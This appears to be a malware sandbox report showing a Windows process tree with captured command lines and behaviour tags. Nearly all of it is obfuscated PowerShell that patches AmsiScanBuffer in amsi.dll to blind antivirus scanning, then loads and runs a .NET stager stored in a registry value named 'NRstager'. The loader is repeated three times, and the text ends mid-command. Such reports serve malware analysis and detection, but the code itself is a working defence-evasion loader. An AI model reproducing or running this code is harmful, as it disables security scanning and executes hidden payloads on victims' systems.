C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:YsFZTUSVdqJC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VSbwXFjKExahRO,[Parameter(Position=1)][Type]$xXfVlFsJTb)$QcNjaZkcLqg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+'e'+''+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+'S'+'e'+''+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'as'+'s'+''+[Char](44)+'A'+[Char](117)+'t'+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$QcNjaZkcLqg.DefineConstructor(''+'R'+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$VSbwXFjKExahRO).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e'+','+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'ed');$QcNjaZkcLqg.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$xXfVlFsJTb,$VSbwXFjKExahRO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+'e'+','+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $QcNjaZkcLqg.CreateType();}$tPSWuAYItCZci=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'st'+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+[Char](116)+'h'+'o'+''+[Char](100)+'s');$UtJpRsHpdfMoMg=$tPSWuAYItCZci.GetMethod(''+'G'+''+'e'+'t'+'P'+''+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VTElBICNSuMIkGWCxyC=YsFZTUSVdqJC @([String])([IntPtr]);$uoLjktQjmNPBRfMkrwrOfM=YsFZTUSVdqJC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PFcRXqGlJKq=$tPSWuAYItCZci.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+'o'+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$DWgSYSrQFqEbtD=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$PFcRXqGlJKq,[Object]('Lo'+'a'+''+[Char](100)+'L'+[Char](105)+'br'+'a'+'r'+'y'+''+[Char](65)+'')));$xnJkILmpnICbzsbXC=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$PFcRXqGlJKq,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$VDeoLKG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DWgSYSrQFqEbtD,$VTElBICNSuMIkGWCxyC).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$ddjeMbSuRSYHCvySY=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$VDeoLKG,[Object]('Am'+'s'+''+[Char](105)+'S'+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$fyOiUGQajQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xnJkILmpnICbzsbXC,$uoLjktQjmNPBRfMkrwrOfM).Invoke($ddjeMbSuRSYHCvySY,[uint32]8,4,[ref]$fyOiUGQajQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](142-5),[Byte](183+27),[Byte](125+59),[Byte](187-100),[Byte](184-184),[Byte](22-15),[Byte](118+10),[Byte](108+29),[Byte](61+158),[Byte](97+98),[Byte](209-72),[Byte](42+177)),0,$ddjeMbSuRSYHCvySY,184-172);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xnJkILmpnICbzsbXC,$uoLjktQjmNPBRfMkrwrOfM).Invoke($ddjeMbSuRSYHCvySY,[uint32]8,0x20,[ref]$fyOiUGQajQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'N'+''+'R'+''+[Char](115)+'ta'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:mDTJUJhOYDCW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iFLhsPzdCLvJbg,[Parameter(Position=1)][Type]$zrGHYZZztX)$BgszyMTBfKC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+'t'+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'ry'+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'at'+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+'s'+''+'s'+''+','+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+'d,'+'A'+'n'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+'o'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$BgszyMTBfKC.DefineConstructor(''+'R'+'T'+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+'i'+'al'+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iFLhsPzdCLvJbg).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+'n'+[Char](97)+'ge'+[Char](100)+'');$BgszyMTBfKC.DefineMethod(''+[Char](73)+'nvo'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic,'+'H'+''+'i'+'d'+'e'+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$zrGHYZZztX,$iFLhsPzdCLvJbg).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+'e'+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $BgszyMTBfKC.CreateType();}$ShzFabgkQZXXd=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+'r'+'o'+'s'+''+[Char](111)+''+'f'+''+'t'+''+[Char](46)+''+'W'+'in'+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$RxqghWMbAKzmQJ=$ShzFabgkQZXXd.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BfLnvXGYzRjcbCSDvlP=mDTJUJhOYDCW @([String])([IntPtr]);$COQYIhalRRwIHBPOMZbvod=mDTJUJhOYDCW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cSzGFDLMlLH=$ShzFabgkQZXXd.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2.'+'d'+''+'l'+''+[Char](108)+'')));$sBTnJNQUHLHdaZ=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$cSzGFDLMlLH,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+'b'+[Char](114)+'aryA')));$OkfdFhGvrefTzYTZY=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$cSzGFDLMlLH,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'ro'+'t'+'e'+[Char](99)+''+[Char](116)+'')));$QUBtOjr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sBTnJNQUHLHdaZ,$BfLnvXGYzRjcbCSDvlP).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$tLjtfmuDPKrpsPNbH=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$QUBtOjr,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+'S'+''+[Char](99)+'an'+[Char](66)+'uffe'+'r'+'')));$YlAtJxJMjv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OkfdFhGvrefTzYTZY,$COQYIhalRRwIHBPOMZbvod).Invoke($tLjtfmuDPKrpsPNbH,[uint32]8,4,[ref]$YlAtJxJMjv);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](42+95),[Byte](231-21),[Byte](111+73),[Byte](181-94),[Byte](58-58),[Byte](17-10),[Byte](201-73),[Byte](148-17),[Byte](52+141),[Byte](191-191),[Byte](153+42),[Byte](130+7),[Byte](175+35)),0,$tLjtfmuDPKrpsPNbH,178-165);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OkfdFhGvrefTzYTZY,$COQYIhalRRwIHBPOMZbvod).Invoke($tLjtfmuDPKrpsPNbH,[uint32]8,0x20,[ref]$YlAtJxJMjv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('N'+'R'+'s'+'t'+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:mDTJUJhOYDCW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$iFLhsPzdCLvJbg,[Parameter(Position=1)][Type]$zrGHYZZztX)$BgszyMTBfKC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+'t'+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'ry'+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'at'+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+'s'+''+'s'+''+','+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+'d,'+'A'+'n'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+'o'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$BgszyMTBfKC.DefineConstructor(''+'R'+'T'+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+'i'+'al'+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$iFLhsPzdCLvJbg).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+'n'+[Char](97)+'ge'+[Char](100)+'');$BgszyMTBfKC.DefineMethod(''+[Char](73)+'nvo'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic,'+'H'+''+'i'+'d'+'e'+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$zrGHYZZztX,$iFLhsPzdCLvJbg).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+'e'+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $BgszyMTBfKC.CreateType();}$ShzFabgkQZXXd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+'r'+'o'+'s'+''+[Char](111)+''+'f'+''+'t'+''+[Char](46)+''+'W'+'in'+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$RxqghWMbAKzmQJ=$ShzFabgkQZXXd.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BfLnvXGYzRjcbCSDvlP=mDTJUJhOYDCW @([String])([IntPtr]);$COQYIhalRRwIHBPOMZbvod=mDTJUJhOYDCW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cSzGFDLMlLH=$ShzFabgkQZXXd.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2.'+'d'+''+'l'+''+[Char](108)+'')));$sBTnJNQUHLHdaZ=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$cSzGFDLMlLH,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+'b'+[Char](114)+'aryA')));$OkfdFhGvrefTzYTZY=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$cSzGFDLMlLH,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'ro'+'t'+'e'+[Char](99)+''+[Char](116)+'')));$QUBtOjr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sBTnJNQUHLHdaZ,$BfLnvXGYzRjcbCSDvlP).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$tLjtfmuDPKrpsPNbH=$RxqghWMbAKzmQJ.Invoke($Null,@([Object]$QUBtOjr,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+'S'+''+[Char](99)+'an'+[Char](66)+'uffe'+'r'+'')));$YlAtJxJMjv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OkfdFhGvrefTzYTZY,$COQYIhalRRwIHBPOMZbvod).Invoke($tLjtfmuDPKrpsPNbH,[uint32]8,4,[ref]$YlAtJxJMjv);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](42+95),[Byte](231-21),[Byte](111+73),[Byte](181-94),[Byte](58-58),[Byte](17-10),[Byte](201-73),[Byte](148-17),[Byte](52+141),[Byte](191-191),[Byte](153+42),[Byte](130+7),[Byte](175+35)),0,$tLjtfmuDPKrpsPNbH,178-165);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OkfdFhGvrefTzYTZY,$COQYIhalRRwIHBPOMZbvod).Invoke($tLjtfmuDPKrpsPNbH,[uint32]8,0x20,[ref]$YlAtJxJMjv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('N'+'R'+'s'+'t'+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:gOvCLjaosScA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xzELjedbTtrtim,[Parameter(Position=1)][Type]$CcLGzLewpC)$FfpJAQqKHVN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+'e'+[Char](97)+'led'+[Char](44)+''+'A'+''+'n'+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FfpJAQqKHVN.DefineConstructor('R'+'T'+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$xzELjedbTtrtim).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+'i'+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'na'+[Char](103)+'e'+'d'+'');$FfpJAQqKHVN.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+',H'+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'N'+'e'+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+'r'+'tu'+[Char](97)+''+'l'+'',$CcLGzLewpC,$xzELjedbTtrtim).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+'m'+[Char](101)+','+'M'+'ana'+[Char](103)+''+[Char](101)+'d');Write-Output $FfpJAQqKHVN.CreateType();}$BXJHrwnFoEBJA=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+'e'+'M'+'et'+[Char](104)+''+'o'+'ds');$MXWWqrSMJERRpB=$BXJHrwnFoEBJA.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+'r'+'o'+''+[Char](99)+''+'A'+''+[Char](100)+'d'+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'S'+''+'t'+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AvZFySQDrAVYFmsdFRz=gOvCLjaosScA @([String])([IntPtr]);$dzTOZyGjlCBPXpBiSUZzvr=gOvCLjaosScA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$plmxDvQMylg=$BXJHrwnFoEBJA.GetMethod(''+[Char](71)+'e'+'t'+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l3'+'2'+'.d'+[Char](108)+''+[Char](108)+'')));$LKSNepJZiXrOPp=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$plmxDvQMylg,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+'b'+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$YNPpoVdHZiDWCLpvb=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$plmxDvQMylg,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+'al'+[Char](80)+'r'+'o'+''+'t'+''+'e'+'c'+[Char](116)+'')));$KMefsCS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LKSNepJZiXrOPp,$AvZFySQDrAVYFmsdFRz).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$lyNLtONxKCZfTCCME=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$KMefsCS,[Object](''+[Char](65)+''+'m'+'siS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$PjvNSpxUhp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNPpoVdHZiDWCLpvb,$dzTOZyGjlCBPXpBiSUZzvr).Invoke($lyNLtONxKCZfTCCME,[uint32]8,4,[ref]$PjvNSpxUhp);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](163-26),[Byte](98+112),[Byte](62+122),[Byte](74+13),[Byte](128-128),[Byte](139-132),[Byte](164-36),[Byte](198-67),[Byte](92+142),[Byte](16-16),[Byte](61+134),[Byte](4+127),[Byte](185+50),[Byte](113-113)),0,$lyNLtONxKCZfTCCME,179-165);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNPpoVdHZiDWCLpvb,$dzTOZyGjlCBPXpBiSUZzvr).Invoke($lyNLtONxKCZfTCCME,[uint32]8,0x20,[ref]$PjvNSpxUhp);[Reflection.Assembly]::Load([Microsoft.Win32.